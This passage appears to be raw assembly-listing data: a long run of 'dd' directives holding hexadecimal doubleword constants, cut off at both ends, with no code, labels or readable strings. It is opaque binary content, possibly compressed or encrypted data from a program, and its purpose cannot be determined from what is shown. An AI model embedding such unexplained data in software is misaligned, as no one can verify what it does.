8F17509h, 3265C21h, 0F2B0506Eh, 61C364F9h, 0EE550901h dd 0BD2A0640h, 0F03B6DC0h, 27EBE700h, 0C5FBF594h, 0D6D41CFEh dd 56DDC396h, 5948C091h, 331DC0B4h, 662982Dh, 53C0F9A2h dd 70004825h, 2E374E96h, 6928F1F3h, 0E002386Ah, 93021C6Dh dd 16CCA03Eh, 1FDF4B7Ch, 83BD15D5h, 6A35A8FBh, 0ADB54803h dd 76A4C1h, 9E6F6E40h, 2988DFB8h, 0B7A7420Fh, 0C981BCF6h dd 0B62C3BC3h, 71905449h, 28A00F64h, 0D6305A8h, 40208488h dd 2E3C36A3h, 0A2A81455h, 1A95101Ch, 5EA81124h, 0F218FDh dd 9E1D6279h, 0B2D3245Bh, 6B8C0D0Ah, 7A4468EEh, 83914483h dd 0B0104C9Fh, 1416AC07h, 68F1C2DDh, 0A6DFECA0h, 1309F60Bh dd 8991B88Dh, 112401B5h, 94407509h, 84DCACh, 66FCF2C0h dd 4BF0F174h, 40D09558h, 3A4065A8h, 9DAC2480h, 0B3CF4324h dd 0E6EAFAC0h, 6DD488A0h, 9991080h, 6E1889F2h, 27181814h dd 841299Dh, 62E8008Ah, 6CB7017Eh, 32001F48h, 13BB97EBh dd 0E35339Dh, 7F05FB85h, 0B844C1E6h, 0AC465498h, 33B7202h dd 6B3173BDh, 3B6AD017h, 550128F0h, 50158C0Eh, 20229567h dd 0DF034D00h, 2D5FC23Ah, 8244DB49h, 0CC2F5BE5h, 83F60404h dd 62D805D6h, 90C8276Bh, 0C0A2E683h, 0A0A09971h, 0E358EC47h dd 8C76BC28h, 0D00F470h, 6735D466h, 3805548Fh, 84D041F1h dd 0F4F8191Bh, 0F049A86Ch, 18DC2F5Dh, 0B43A1500h, 9E7296Bh dd 1459403Fh, 3E11EC9Dh dd 36937E81h, 0BC9C2017h, 0F12419EAh, 0DC42803Dh, 0C28C0A85h dd 0ACA07594h, 2C9159A3h, 0EF88A00h, 182D82F0h, 1AC10556h dd 0C1E67D76h, 761299Ch, 144FB6C3h, 0F42EF5E0h, 0D9C0B988h dd 46BDF63Bh, 0E06D22CBh, 953B0171h, 0BC9F44A1h, 0B974302Eh dd 9C584541h, 0F4DE047Eh, 59E68E9h, 8C406E64h, 849B06CDh dd 35D200F7h, 17491A0Dh, 140067BEh, 13DDAEFBh, 496F10A4h dd 0FF80A0F1h, 43C29180h, 52C1E90Ch, 9E55895h, 3A9E2B7Eh dd 0B6977821h, 0BA98839Ah, 30BC424Fh, 77213509h, 4A019AAEh dd 1B54FB17h, 0B44199C8h, 3432A528h, 0F17C951Bh, 46D52C0h dd 0C83A9B3Bh, 0A08F284Dh, 0A3F1520h, 0AE2EC220h, 30B7457Ch dd 0D6E7BBD0h, 2B912F00h, 0D733DE29h, 0FEB9000Ch, 128837CFh dd 8A09E674h, 84FAE791h, 2B636A64h, 2AF4B2D8h, 1A41448Ch dd 1303348h, 0F0870C17h, 20266D5Ah, 20C56613h, 0A757BC24h dd 0E839B31Ch, 0FE91A06Bh, 279ADF80h, 3087D2C4h, 0C7EB9AE0h dd 1D283E04h, 9C8064E1h, 24987D05h, 41C8A20Dh, 2531F104h dd 2D603034h, 91E54C40h, 187579D4h, 0E6AA016Ah, 942EF1A5h dd 2347D9FBh, 64CF0CC8h, 0F33187h, 0E699AB0Bh, 1BDFDB53h dd 4AEFD402h, 90315BE4h, 1183F83Ch, 880805D8h, 7BA9C74h dd 1013CE83h, 310519DAh, 0FA2C27FAh, 0F141D86Dh, 5F028664h dd 1C24080h, 8B17C6FCh, 0B813D635h, 0A3607804h, 42854142h dd 2951C408h, 9A08B418h, 0C4AAC42Ch, 0AC7D4031h, 0E649289Ah dd 389193h, 6A94CD4Fh, 0E070D477h, 8E61B500h, 8CD18FC1h dd 0C2D20A40h, 2D00544h, 37399902h, 804BB910h, 4D33E886h dd 0E1801845h, 0C80043A5h, 51381E57h, 0B0BFB754h, 9AE1C008h dd 0E246C429h, 80003422h, 9BA09AB9h, 29386BA8h, 0A4667Bh dd 0F09B6C7h, 0D6005D47h, 3A12E30Dh, 768EC0h, 209A1A74h dd 2C93B114h, 98287093h, 29027046h, 0DAF4E0FAh, 30604C59h dd 64FFA31h, 21103D41h, 22CD853h, 79C2C4F1h, 0B0BD1047h dd 2474B55Dh, 9C243806h, 7560AD64h, 0BD23023Bh, 2E6E116Bh dd 7D01DF04h, 0AF2C81D1h, 0B0BCAC58h, 802078E4h, 60A52DFh dd 906513F8h, 5A2CB740h, 3EF0FA32h, 70001135h, 67C47CBCh dd 5D045544h, 3F2AF620h, 317098D8h, 9E8161EEh, 0C6C45043h dd 0AB016B08h, 0D8AC62AAh, 0A9FF4927h, 0A4507064h, 0F0F4BD6h dd 87168376h, 0A71507A0h, 452EB2E6h, 89E1D027h, 0F5089D3Ch dd 8638F910h, 55D1584h, 50D8B6F2h, 318C0030h, 0DF1EF36Fh dd 0D40214E5h, 0BDA8FEA9h, 0F4C464h, 0AB90A45Ah, 694EFC93h dd 0C3990600h, 0CA9F823Eh, 231B1209h, 5086540h, 8A848CC8h dd 0BC617C98h, 7D98C1A1h, 80716401h, 67FFDC69h, 0FA5CFA75h dd 4E200FEFh, 607634C7h, 0E87D7B68h, 296D24h, 62DB1E01h dd 40488E8Ah, 0F6CBB64h, 4313E884h, 5B0FB50h, 422C89D4h dd 2C46E534h, 112D7121h, 3B7480AEh, 8783BD05h, 3B6C803Eh dd 0B574871Fh, 9790137Ah, 38C3048h, 0A14F21C4h, 0DF13C800h dd 0A59BD885h, 6370C434h, 537AAA93h, 80B89114h, 0BDF73BD6h dd 6A448CD3h, 0EC8490FFh, 0DC5601E0h, 85AC1D8Ch, 0AD88413Fh dd 80C82268h, 672E374Dh, 246091C6h, 8DB762F4h, 4F38CEC0h dd 1038CB48h, 0F4053F21h, 7E9C91h, 0AD41B7DCh, 5BF87F44h dd 0B4BB7718h, 0F0A1E941h, 0F0F1046Ah, 0D1C73D93h, 3AB500h dd 2EEA4AFh, 0DC1BD920h, 0F0E0573Ch, 0AD6A03E1h, 810948F8h dd 0B1F44042h, 0E86C52D5h, 233C3D13h, 0FC89ACh, 0AF9FDCE9h dd 1F1179D9h, 7BB22CBCh, 71041050h, 0C99C31E9h, 41486551h dd 9DC50Ch, 2CE3F7FBh, 0C064355Bh, 5748304h, 982C284Ah dd 832C0BBEh, 9C8A0523h, 0A09FA534h, 0ADFCAD11h, 30F7EE85h dd 5ADF62BCh, 0D50B8E00h, 0A62A39B0h, 84A554B8h, 48F8163Dh dd 5AAC8D5Dh, 6BA0C09Ch, 0D028C0Bh, 3991B063h, 0A58C3051h dd 0A480C958h, 326E38C2h, 0F4DE07C0h, 342CCA4Eh, 0FA2F002Eh dd 9D89FCE7h, 0C022B4Eh, 0F9F2B4A8h, 0A02870E0h, 5021E9D2h dd 52CCC3Eh, 7E5F3DDFh, 0F290A2AAh, 88603079h, 0A9772213h dd 0F2DF7020h, 8DA030E9h, 98EF970h, 0DE3F5413h, 3126C48Ch dd 66B94304h, 0B84AEAF8h, 0A0EDCE4h, 0A05D722Dh, 0DF6665DBh dd 1C2F7CEEh, 511048Ch, 0D455F0A5h, 4184991Ch, 4276194h dd 4869A8C1h, 2004B062h, 0C22C2DC2h, 668190h, 0C83E5224h dd 8845D828h, 0A30D8441h, 0ECB7C707h, 6A606619h, 2CE28DB9h dd 0E8A23D43h, 8BD24C80h, 55962E73h, 92BA4901h, 0BF7DFE91h dd 915E7447h, 67656F0Ch, 3AB8CD19h, 0DA0BB00h, 3F63C37Ah dd 52D4075Fh, 0CAF10822h, 20F02850h, 0B90651D5h, 7FA285DBh dd 0B85348D9h, 33884B0Bh, 6245FCA2h, 3BCEDA00h, 0C1661689h dd 0DB40C585h, 71968000h, 88729555h, 0C3008A7Ch, 0BFD8CBF3h dd 193DEACh, 332C2F53h, 0D4E8EF96h, 0A0C0A2A9h, 0BFC1B380h dd 873C8187h, 84EA4259h, 4889A94Ch, 7083E8E4h, 6962D7F0h dd 1383DF8h, 50BE98FCh, 0FA264688h, 96A4F754h, 0B96A9F09h dd 8438820Ch, 0C2662274h, 6267C82h, 724880D2h, 0FE807D8Ch dd 137D4808h, 7F250052h, 44919097h, 1CE35E80h, 0AF28A5F2h dd 640EE78Dh, 79092674h, 1C4FB29h, 59A400E8h, 0FA0DDDA8h dd 0CC9002F2h, 17BC974Dh, 480CCF8h, 7A429B59h, 82407126h dd 0B01070C3h, 0F6A44651h, 0BB0FA44Ch, 822CA030h, 2AE23B1Eh dd 5BC4194h, 1BDF2D56h, 766C82FCh, 8886C018h, 36029A19h dd 0FD473FE1h, 8ECD5h, 13B46CFFh, 7B5A72C0h, 0FC269D2Ah dd 8F09D500h, 0EA120C50h, 4747198h, 8B94018Eh, 502CA33Bh dd 374805C4h, 9E70A0F4h, 4DC20E4Bh, 0F184B657h, 0F20CF060h dd 7AE44809h, 5E4105Ch, 1841C23Fh, 67044131h, 27C088h dd 0B6DC3CCBh, 71E324E6h, 7B909F02h, 61D2E865h, 41891198h dd 0EC656A2Dh, 2E606AE4h, 89123AF9h, 60909CC0h, 4FECF1F3h dd 17B8526Bh, 10745CA2h, 70673284h, 83023033h, 0F8057211h dd 0BC807788h, 49FC832Ah, 9F3E02B3h, 442DA105h, 2F4C207Ah dd 7CA71014h, 88384C78h, 84C522Eh, 39805423h, 0B7369D18h dd 102D5C65h, 8E4BB916h, 0C175C8A0h, 0CCE0647Bh, 0C5F6A26Dh dd 3513F400h, 0AFFB9AA3h, 0FDE1287Ah, 0F0C7618Dh, 7EB71Eh dd 9A117BE5h, 0D8135558h, 73E83Ch, 0AF40FF64h, 0A5E4F156h dd 0B920496h, 10DC5413h, 28EE05E6h, 8457470Ch, 8674F244h dd 9868B656h, 90CA5554h, 0A0E6D405h, 505687E0h, 688D1401h dd 0F4703D98h, 0FB48402Ah, 4E9E6EF1h, 1F2E7910h, 0DEDA700Dh dd 0BCDC7C21h, 31008C6Ah, 0AB3ACAD8h, 48FC9227h, 0CB00A494h dd 7040FE59h, 31CE45DBh, 20F98451h, 208960A4h, 26199050h dd 93C94DFDh, 0B907F432h, 2014B711h, 0AC48ED80h, 6E47B402h dd 0C6C22E51h, 3E9D2484h, 1FCACF0h, 0F64D01CDh, 0DF64FCFCh dd 20A1C892h, 9F51830h, 0E005D983h, 0C9808CE5h, 7CB083FDh dd 0D7F20190h, 64309951h, 9121806Fh, 431BB659h, 1E7D1E04h dd 0BEE18029h, 0B70D6441h, 8459692Bh, 0E175670Ch, 0D9480016h dd 0CCF902BAh, 0BD09992Eh, 4544CF8h, 2C81B674h, 45088790h dd 442164Fh, 0F9C919A4h, 49B70508h, 4DC16D9h, 0B42F09E8h dd 0A094E558h, 1C75465Ch, 0A4C28993h, 0F1AD76CAh, 0F21900B0h dd 43DC1AE7h, 75DA8F00h, 31452FABh, 9412494Eh, 0C0EC2A2Ch dd 0C42B9AB3h, 0B02CB25Ah dd 9AAB007Ah, 0ADBFB367h, 9C4A0B7Bh, 84338C20h, 95E700EFh dd 2EE2DA45h, 9430B6F4h, 0A6AE2179h, 6C1F0329h, 0B8E261B0h dd 20847E88h, 1E47548h, 0E89005C6h, 0A820CEC1h, 0A2480087h dd 0F5CDD588h, 0BBE87407h, 187DB401h, 6DE57371h, 78DA2D0h dd 74E1A7CAh, 8996F0F7h, 8CCACEFh, 0AF215Eh, 0F7EBE19Fh dd 0B3BDD40Bh, 389D7A01h, 87779818h, 60E833F0h, 95211886h dd 3718616Ah, 23406F88h, 0DA9C1F6Bh, 0AD10308Ah, 40002E0Bh dd 0B68D1704h, 0E88CAF0Ch, 4821C0B8h, 1BBB2DA3h, 0A1FBDC00h dd 0AD7AB1CFh, 91676006h, 0E4D3F60Ah, 94115D60h, 2B9629h dd 0B580EB20h, 623365E9h, 0DAE78300h, 0B35816E1h, 2069036Ch dd 8DF7D0A4h, 0AD84B840h, 744322h, 22D3F014h, 8EDD6152h dd 0D6201563h, 0CA2901Dh, 1B9D0F21h, 0D9599B12h, 1EA8189Fh dd 0D004492Dh, 80B7C88Ch, 292DA04Bh, 0F6305C0Eh, 2F7E40C5h dd 0CCCC51B0h, 39DB1086h, 2500F893h, 227AB28Bh, 0A103FCh dd 0E7320C54h, 0D7E48EAAh, 74489B03h, 8DB058h, 7A50460h dd 0A8D52BE0h, 7320E93Bh, 0A01FA00h, 8B27183h, 0E87068C7h dd 0AFE408E4h, 0E9D82F01h, 0FB007644h, 19C2A94Bh, 718B608h dd 74F56214h, 0CAEA081h, 86985270h, 0A929484h, 6410AC39h dd 7FEB6906h, 930F488Ch, 998FD7D8h, 0D98A5161h, 8E8CC3DBh dd 11A0AE1Fh, 0F2B7B868h, 0D708E81Fh, 695CE40Ch, 0D83B0FCFh dd 34A16AB0h, 302B5154h, 1F3DBB4Ah, 2A163B30h, 4749E87Ah dd 0E1D3806Ch, 8CD4F770h, 0FB36444h, 0A520E1ABh, 0E38C4220h dd 0ACA0862Fh, 0A2883662h, 0EBF7186Ch, 727A304Fh, 0E34BA40Ch dd 50D72897h, 939EDCB6h, 2DA50104h, 18A7044Ah, 9DE88BB9h dd 0E550892Dh, 35006270h, 0D9F84B52h, 0EC94D136h, 78D701A5h dd 1C4039ADh, 9A0405Dh, 0E82C37E4h, 4030A60h, 0C82B7F4h dd 8D58A188h, 0B9DFA206h, 0D12D6E00h, 0ECF113Bh, 0CE49236Ch dd 75218B8Ch, 0D92D7600h, 0FE3050F9h, 2C420C65h, 0F650BC3Bh dd 0D2702F12h, 200C4C00h, 0A8599CBAh, 77F567CCh, 9D70CE22h dd 0D21397A0h, 0EF026D48h, 935C294Dh, 3958409Eh, 6CCB0017h dd 0D89D7018h, 0D4A46EFDh, 8A518E3h, 0A4F772E1h, 0E5266C4h dd 92E0E1CAh, 68498526h, 4C4F4D06h, 7F17797h, 0B9954EB4h dd 0B5155060h, 8654DB31h, 96008BB8h, 726ED8FFh, 0C0C1DAF5h dd 0D22A7B19h, 0E90002FCh, 773EFBC0h, 1442C65Ah, 849AD7DCh dd 43DD212h, 1B06BB8h, 5ACC37F8h, 3FB3C047h, 59800066h dd 2B42C532h, 0DC00D5EFh, 0A74F081h, 0C0930F2Ch, 84277138h dd 0E02433EDh, 0A2032489h, 0EEA16819h, 0F1083338h, 6CB13BB1h dd 0DBF8405Eh, 0D84C4F13h, 0FA9D0080h, 0D021A8A5h, 206C602Bh dd 7D85BD6Ah, 39204FFDh, 1451C64Ah, 2D7230DAh, 0CEEC3BFAh dd 7A618085h, 0BE85592Dh, 9D30101Dh, 4168F10Ch, 29B26058h dd 0A77B25D7h, 837CF607h, 0A4507D79h, 61F41E5Ah, 30AD9E35h dd 3100CF57h, 74DC4A94h, 1F2DC6h, 0EC35BC9Ch, 0B254046h dd 8744C090h, 0F74B12AAh, 0FF4C42BBh, 6C00CF58h, 42430F5h dd 52E1B39Ch, 10E0C751h, 3839A7B6h, 0D46AA828h, 44B18C74h dd 0EB18B3F1h, 959EBE1Fh, 0D89AFDC0h, 7A8EE6EAh, 548FEC22h dd 10FBB493h, 26B354A9h, 0B13E74FDh, 0F95A105Dh, 8EE28D40h dd 804F3044h, 9237F4C8h, 1FF0C841h, 0B2B8F0F7h, 12407F04h dd 1446A564h, 0F3139CECh, 93AC2177h, 0CDB90085h, 397518FEh dd 87ED80F5h, 7207AC98h, 37E31E8Eh, 0B4B974F0h, 188FC67h dd 3A7918BBh, 596E4438h, 9770418Ch, 9DA50785h, 0E41ED053h dd 0C6B8BE00h, 0D3B39BF3h, 6A204020h, 6DB42F8Eh, 0E35A48C1h dd 2083841Bh, 70EFDFF1h, 0EC8C7850h, 0DB51BA62h, 40E0CAB3h dd 24222920h, 4064B7D0h, 6B423762h, 96FC714Dh, 5B59B600h dd 1C70D8Fh, 0BB1BF4A4h, 60784C9Bh, 6E205350h, 0DC987Ah dd 22A0C6C0h, 0A3D76AEFh, 0F7DC0412h, 2848E453h, 6B2F805Ah dd 31518A3h, 4085D800h, 86847BCBh, 0A5870E4h, 0ACFFE3F6h dd 789828B4h, 11776BF7h, 60087C02h, 2FD1A107h, 84427078h dd 0F0FC8573h, 38817090h, 3474FBD0h, 0F8466272h, 4404C1Dh dd 4503A11Eh, 24076E74h, 0BE400062h, 389E2041h, 38C19498h dd 0BC17E3F5h, 8E10C862h, 0EB167C4Ah, 4859A433h, 74013838h dd 5D97017Bh, 5D1D451h, 1AF2C4h, 0E081E866h, 59413BAAh dd 0C22D9000h, 0F80E1D01h, 964F30FBh, 932EE7B8h, 741BCE9h dd 29DD5939h, 34817434h, 8C0497D2h, 0D1EE3EB0h, 0DCCA5505h dd 8CCE72F4h, 0F3C0B388h, 0B5F70FDh, 57A52427h, 0CE816C90h dd 41126300h, 0DB8215Ch, 7F2500F4h, 27EF77ECh, 0A1148FC8h dd 24AC4BCDh, 0F1849CC3h, 98995FF3h, 6CA4E402h, 2D6F027Ch dd 0CF193BD2h, 74108519h, 0F73E2D77h, 0DA2005ACh, 941C0339h dd 2328C1D4h, 2D7001A3h, 18213BD3h, 7877887Eh, 0C54D2D00h dd 21E75E44h, 0D0BF2E13h, 5C5F089Ch, 3C54B020h, 7D049EC4h dd 5EBC13F7h, 0FAD83C93h, 83004049h, 0E44225D0h, 4A595C20h dd 910236E9h, 0FEF3A38h, 0BC4458h, 76EC4D46h, 904355FEh dd 0CA36BF09h, 0C06402CFh, 33F50078h, 68D3B44Ch, 69F0200Dh dd 5B741888h, 6020DA17h, 0D173F9h, 72FCB766h, 0CCFDBF9Dh dd 0D6022700h, 3D480409h, 5C780BAEh, 28A4572Bh, 146084D2h dd 0F8460A6h, 7D044BB0h, 0DC284B0Dh, 824C20E4h, 59E51820h dd 0E6A7DE1h, 0F7CD4341h, 2D18F020h, 0AEE0669Bh, 1FCE2801h dd 9482C5Fh, 0E45C4E9Ch, 0EF6701A8h, 21F12B3Eh, 0ACA0D2CCh dd 63CC403Bh, 9254B8A4h, 9340500Ch, 0F7F8A09Ah, 4BA0050Ah dd 65CF1B42h, 0DB2C61C0h, 7F8C50BFh, 8400771Dh, 0D6EFCAA4h dd 3A4D1F40h, 0F0CC9725h, 67D91030h, 774CDE47h, 0B0B522F4h dd 808C742Ch, 1C74477Dh, 719F2E14h, 49D3C788h, 45AB18E2h dd 5CFC2C6Ch, 0FB028946h, 7B29D24h, 0F63F4960h, 0F404D804h dd 98C8B15Fh, 6D923076h, 0CA3D9159h, 1EF80903h, 0FEF06EA9h dd 21646508h, 39C0EFBAh, 0E67DA103h, 0FF580242h, 85DC4784h dd 9E5190A0h, 4C02F1BAh, 0BED56956h, 0B3464F8h, 0D4BC2FF6h dd 16718011h, 2774688h, 0F80CCA3Ch, 10663126h, 7CA44BBh dd 0BDD1B4B0h, 0D2720A3h, 68A5D69Bh, 81606B64h, 0BEB0837Bh dd 0C427EC26h, 0F8E034A4h, 0B2C06807h, 7FE416E4h, 379442BAh dd 0D45078F0h, 0B9874C10h, 911CF440h, 1EEF0F04h, 4404B869h dd 0FE234CACh, 5A4FC6Eh, 0D8078D9Ah, 67240463h, 4C948AB6h dd 0A3831A74h, 9480B118h, 0C0275830h, 79D35459h, 894E5B2Dh dd 33A1CC22h, 44B2DD0h, 918CAF21h, 9A4D0EB0h, 0D155212Dh dd 9920D073h, 0EFB80EA0h, 4092F459h, 36434230h, 0DC30DFF5h dd 0F76C885Eh, 5D8C2C33h, 49744264h, 525C9702h, 4340024h dd 1601F715h, 500005D0h, 0F44F1B08h, 0B48C3F3h, 0A0EF59E4h dd 69C9ED8Eh, 94BBE010h, 0A840E183h, 0F0EF20DAh, 0AF0648CBh dd 78F1BE4Eh, 39621869h, 0F6DD18Bh, 0BAFC98A0h, 0E3A4E0A0h dd 997EF20h, 0F3BEE2ECh, 0FFF85010h, 0BD44059h, 20522C0Dh dd 8AD71E0h, 338CBACDh, 83316197h, 0C495FB81h, 3004E005h dd 47C2742Eh, 97FA1A80h, 288660DCh, 0BA9A2908h, 8821D82Eh dd 0A9A86351h, 582F0914h, 0EC9A0B12h, 7288A49Bh, 0BE18A3C2h dd 0F248CF51h, 367A4479h, 12044A44h, 9296B7E4h, 204B2B40h dd 8303F810h, 53765813h dd 23983AF4h, 1A7E008Bh, 3445F506h, 0E060E426h, 6F09A0ACh dd 0DC2CE88Bh, 0EBD58049h, 4BBCB2Ch, 0A7438C82h, 88508492h dd 0CCD9BE44h, 104E0714h, 6F7D8001h, 0CC253C04h, 3611A00Ah dd 2B840FB4h, 7E2CD4DFh, 0E2988740h, 0EBDB8895h, 0F0AB1613h dd 222CB314h, 0BDDA3086h, 8AAC3649h, 0F9111200h, 74D316DFh dd 4FD02AFh, 7673683Fh, 0B9AB6CC0h, 16E4880h, 94E5619Ah dd 0D241FBDCh, 44077C7Bh, 8050A817h, 204892Fh, 37980EA0h dd 0D4D0CE18h, 93E3BD09h, 0A43C48C2h, 2CED8080h, 1B0170F5h dd 0F6D88D64h, 6DF05881h, 80808715h, 84EADB0Ah, 44490E13h dd 0F288488Fh, 0F2F242FEh, 3F88C072h, 0A6E058Dh, 0B068E77Eh dd 7849E454h, 38920120h, 0FAE129DCh, 260E5730h, 1160439Ch dd 2E0980AAh, 0B607043Eh, 0A146582Ch, 0CA792D02h, 0E8E7E3F5h dd 0CD39E4h, 19F2F10Ah, 0C8DF7F9Eh, 7309309Ch, 4037000Fh dd 24238BBFh, 805CDBD0h, 6C57BEF9h, 314BED59h, 6988704Ch dd 3D2E0A13h, 8FC26CCh, 721695B7h, 0ABAE6C04h, 8402A109h dd 9A00480Eh, 9A780471h, 900A7E44h, 0D8081455h, 0AE3A9C68h dd 4DB56D84h, 4B08E3EAh, 28F53C70h, 622CA630h, 0A5E378C6h dd 2249A21Bh, 872DFEDh, 83FE8D25h, 2447D6ACh, 94D89520h dd 0E309285Fh, 0A0256A37h, 4744C17Dh, 0C921005Dh, 0BA4905Ah dd 2C61D79Eh, 0EC84A049h, 50B1913Bh, 0CE0A41Fh, 0A371D495h dd 4248D128h, 856B10D4h, 0EC378005h, 0EA209377h, 0EDA2B9EBh dd 0D1BE97C1h, 2A1C7382h, 54969CB4h, 0D058DF70h, 2F108421h dd 39D104A6h, 0A8903C08h, 0C049580Fh, 900C54B1h, 9890A120h dd 0A2B6B722h, 0B4A0D22Fh, 61465E34h, 4E371400h, 47DC42FEh dd 4804E9D2h, 0A40282A1h, 80688343h, 91C2B158h, 5154309Bh dd 4CEC1158h, 79941678h, 95A3ACD1h, 0F2F0E204h, 76D2308Ah dd 609DBFA1h, 744154B0h, 847C1020h, 9A458898h, 9214C420h dd 0F8948094h, 224542B5h, 639230BDh, 0B7E95D31h, 8FEF850Eh dd 0D8426083h, 8733B45h, 605BE449h, 3833F504h, 442A0D0h dd 7CFF2D2Ch, 8BC8C88Eh, 0CFA57D80h, 0B973A1DBh, 18B9F164h dd 2ACB009h, 0A82523Fh, 2B27B559h, 92372650h, 0A4F7F65Dh dd 0DC50C7A4h, 0D0908C8Fh, 591B1C98h, 0C021A0FAh, 4933EE03h dd 0A20F8804h, 0DF247818h, 67B08CD0h, 0F505727Eh, 71F9EB30h dd 73F4CC90h, 21FF88B1h, 148E4440h, 0B04AA51Eh, 8060332Ch dd 9AB62671h, 20A7EA9Dh, 20213524h, 71159802h, 5584C44h dd 0F76FE1D2h, 0C0B8B2BCh, 8BE1AAB4h, 12600F6h, 5E543AC7h dd 62449837h, 635300FAh, 0D1514A97h, 21053A9Eh, 74418F47h dd 2FF52080h, 65F9C148h, 25AD70A9h, 0BC9C2C9Ch, 0A70F8C88h dd 0C705305Ah, 0F9638F3Bh, 0AD2117B9h, 0E3E0CC0Ah, 0A42BEE2Fh dd 0C62ABD0h, 0FF04CD60h, 47587094h, 8D2D0EA4h, 0C7E04DBAh dd 9028F47Bh, 0F05A3208h, 1C4AAFh, 0BF8BEE2Ah, 9092D7FBh dd 0C421434Fh, 0F5017450h, 1440E621h, 0C78A7FECh, 618744ACh dd 0F442F54Eh, 62E468FBh, 0A490B639h, 8F530928h, 88C2DC6Bh dd 0A4FC8088h, 84467408h, 93C20803h, 0BBE20BF8h, 0D0A03472h dd 8A2BD1Ch, 6379E4D9h, 0BA585218h, 734409B4h, 0CDCCA2ACh dd 46F85AABh, 5649317Ah, 0D42C3EF7h, 0AE3162DFh, 56202071h dd 0F880CA80h, 54A0AF52h, 0D600427Bh, 0F03643A3h, 4C184ED0h dd 0B4107070h, 0C810687Fh, 4BB804DEh, 836F6965h, 41DE976Ch dd 6C63A300h, 0AB7E8B34h, 0D6710BE7h, 0B43AC05Ah, 109A1CC1h dd 4C4C40BBh, 0C088F07Bh, 98013883h, 58591B8Fh, 9A0031B3h dd 5A88E409h, 1A96EA5h, 0B2CC7AF0h, 60F780D1h, 494143D8h dd 407B7460h, 179572ABh, 80B59154h, 0D9973526h, 4438B4F4h dd 0B9EA80A7h, 723EC5A6h, 0CECBBD42h, 0A6084C48h, 7ED70C68h dd 1C440419h, 0E86BE8D4h, 30F30558h, 85B308AEh, 23283BACh dd 54390064h, 6B1EDB82h, 0A01108B1h, 4C2DA780h, 0EB8CB704h dd 2D9FD117h, 0F827ED49h, 782C3094h, 3B42AC7Ah, 0CE540096h dd 0A23E7343h, 0EFB054D8h, 632F291Dh, 389D8C02h, 96745060h dd 55C64004h, 0D5007CDEh, 0A8295DD3h, 9E7FEAFh, 983BA68Eh dd 0E15B4CC8h, 0A0814001h, 0FBAB39B7h, 7B224038h, 0EEC70800h dd 0BD58AC48h, 0FFEB12F5h, 227CCE5Dh, 440408A9h, 0EB4297F7h dd 290D0081h, 0B160DBC1h, 0AD476729h, 0EABE2528h, 2F76B4A3h dd 0D00A5E82h, 3A60808h, 78DCDFF6h, 847D182Eh, 0E674674h dd 206CBD70h, 0DFF78EDDh, 506B6E24h, 709844E9h, 6A1594E5h dd 58C01FEBh, 9BF40808h, 0CC090393h, 4398CB9Fh, 61082B08h dd 496A6037h, 0B2640C45h, 9365D460h, 0D11EAE07h, 9534AACh dd 14B9026Eh, 0F891F3F6h, 0DB4C0846h, 93C780C0h, 2E592420h dd 7648D62Fh, 0F401B546h, 7895AA46h, 9F4E70D4h, 58908892h dd 69808CE2h, 8410BC0Bh, 0C8F8BE73h, 0DD2D6294h, 188084F6h dd 8C24B494h, 435C5401h, 0D422B57Fh, 58850422h, 0EF80B1CEh dd 42A38193h, 0A75B4CE2h, 1058E00Bh, 0F455994h, 0AE165D0Dh dd 0D3C7DA60h, 4304A2FBh, 0B15FE48Eh, 0F0C0B4F2h, 0FDF284E0h dd 88D06C4Bh, 0D0F112F6h, 6D0CC421h, 0D5117692h, 8EA76200h dd 100FCC18h, 77540E5Ch, 0C39CD30Ch, 6C0B8C35h, 3CE76EFAh dd 7F618544h, 0C682D60Ah, 0F4F8682Fh, 0EF2C421Ah, 4D5862F1h dd 0B335E0ACh, 0C2663E6Ch, 0A99D940h, 0DCBE4631h, 0E5206E88h dd 73AF1FDAh, 0A4200090h, 0D0390995h, 0C5A9707h, 4CBE5B7Dh dd 368000F4h, 0DCB5B7A6h, 0B14E76F3h, 4070E488h, 0F40C8E73h dd 0F945A0C1h, 1D4B37Bh, 0F7A8CA48h, 88651846h, 0CA0070AFh dd 18C6D194h, 0EC809F46h, 0DF76090Eh, 805066E0h, 987CF050h dd 5DF83718h, 0A22C0A18h, 9B8613Ch, 72076CDDh, 64741004h dd 4B4A0882h, 79C8C149h, 32461910h, 870CEA3Eh, 592069D5h dd 90609FC5h, 12A72D74h, 8ACE813Bh, 7C630040h, 0BB9C182Dh dd 60F407D8h, 0B50BD7F0h, 813C04ACh, 0F7590441h, 5FDBACB4h dd 680C40BAh, 0C69350Bh, 0C70F2700h, 706B8958h, 86FD3813h dd 9D8F6E83h, 50806AD0h, 86E103E8h, 0C3582002h, 0EA445F2Eh dd 163123h, 0C3504021h, 0FCB18A9Ch, 0A1BD8B03h, 0B306452Bh dd 514E23C0h, 44C3590Eh, 41384C89h, 0DFC35100h, 160A2E8h dd 0AA1209Dh, 67D2811Fh, 61759683h, 30682083h, 0BD09E5E1h dd 0C042212h, 53501974h, 0D830B884h, 85895E07h, 241260FDh dd 0B56C9D8Dh, 0FF0A4776h, 22585BD3h, 201017C4h, 18B25BF1h dd 61BD1033h, 5E81925h, 1FE185D5h, 3B2959DCh, 206EEDB5h dd 2D58B9E0h, 0A6C36F13h, 863D8D89h, 3F68381Ch, 517D0F38h dd 0A40EA2CEh, 0A0CF1B88h, 7589EE7Dh, 2639075Eh, 31D18B66h dd 805914B9h, 0D7B70F54h, 67A195FFh, 55B27C0Ch, 23DD3B85h dd 0B9830114h, 20DBDC0Fh, 0F7E28519h, 4E2391A3h, 0C35F0E57h dd 627C8944h, 57472015h, 196072C3h, 0FF68CFB4h, 0C089A301h dd 0A19A96BFh, 0F40949D6h, 3DD81984h, 67858DE4h, 73317DE2h dd 2A1A1581h, 2270EE9h, 0C18C5C6h, 8B88B82Eh, 765061F9h dd 44B5FFCEh, 0C8950161h, 42FAE280h, 6DA47D98h, 0C35E6156h dd 8C7489C8h, 461D44h, 8CA3C356h, 8F4CBEE5h, 0BA17690Ah dd 443998B7h, 311060E8h, 0E519CA6Fh, 88B47900h, 5082E01Ah dd 0A5B000F5h, 315638F2h, 0BA92AD85h, 0C75F591Eh, 7011051Bh dd 0D1EB9145h, 42181Ah dd 0A2DBD4E5h, 0BF0F8C7Dh, 0A1BCF951h, 0A03FBCA7h, 7961A001h dd 20A9A424h, 95F8FA67h, 1809C933h, 9282BC50h, 16A021Dh dd 0FA6E4741h, 242CB688h, 0BA03E23h, 0C81B681h, 5B398C53h dd 5C8913C3h, 432738h, 4F51C353h, 9995030Fh, 36840392h dd 0D5203290h, 